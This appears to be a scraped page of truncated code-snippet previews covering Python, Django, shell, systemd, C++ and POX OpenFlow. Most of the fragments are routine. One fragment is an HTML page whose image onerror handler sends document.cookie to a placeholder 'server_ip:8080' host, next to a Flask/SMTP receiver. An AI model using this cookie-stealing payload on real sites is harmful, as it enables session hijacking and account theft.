Using Python's built-in defaultdict we can easily define a tree data structure:
def tree(): return defaultdict(tree)That's it!
| from functools import wraps | |
| from django.http import HttpResponse | |
| def json_response(dict_to_convert_to_json): | |
| return HttpResponse(json.dumps(dict_to_convert_to_json), mimetype="application/json") | |
| def required_parameters(parameters=('email', 'api_key'), http_method='POST'): | |
| """ | |
| Check if the required parameters are present in the request | |
| @param parameters: The names of the parameters that should be supplied |
| # This code is under the MIT license. | |
| # Inspired by this StackOverflow question: | |
| http://stackoverflow.com/questions/3295405/creating-django-objects-with-a-random-primary-key | |
| import struct | |
| from Crypto.Cipher import DES | |
| from django.db import models | |
| def base36encode(number): |
Using Python's built-in defaultdict we can easily define a tree data structure:
def tree(): return defaultdict(tree)That's it!
| [Unit] | |
| Description=Automatically start CoW climb over the wall(Great Firewall) | |
| After=network.target | |
| [Service] | |
| Type=simple | |
| ExecStart=/usr/sbin/cow | |
| User=samos | |
| [Install] |
| ls *.gz -1 | xargs -I {} sh -c "gzip -d {} || true" 2>&1 | awk '{ print $2}' | sed 's/:$//' | xargs -t -I {} mv {} ../{}_bcorrupted |
| #!/bin/bash | |
| set -xi | |
| sudo ip addr add 172.16.4.99/22 dev eth0 | |
| GATEWAY=$(ip route show | grep default | awk '{ print $3}') | |
| echo "Current default gateway: $GATEWAY" | |
| if [ -z $GATEWAY ] | |
| then | |
| sudo ip route del default $GATEWAY |
| import smtplib | |
| from flask import Flask | |
| from flask import request, redirect | |
| app = Flask(__name__) | |
| SMTP_SERVER = 'smtp.gmail.com' | |
| SMTP_PORT = 587 | |
| <html> | |
| <body> | |
| <div id="test"></div> | |
| <img onerror=" | |
| var get_params = window.location.search.replace('?', ''); | |
| if (get_params.indexOf('redirected=1') == -1) { | |
| window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location); | |
| } | |
| " src="#" /> |
| // Taken from http://stackoverflow.com/a/236803/376445 | |
| #include <fstream> | |
| #include <sstream> | |
| #include <string> | |
| #include <vector> | |
| std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) { | |
| std::stringstream ss(s); | |
| std::string item; |
| """ | |
| This component is for use with the OpenFlow tutorial. | |
| This was modified to work as an l2 learning switch | |
| It's quite similar to the one for NOX. Credit where credit due. :) | |
| """ | |
| from pox.core import core | |
| import pox.openflow.libopenflow_01 as of |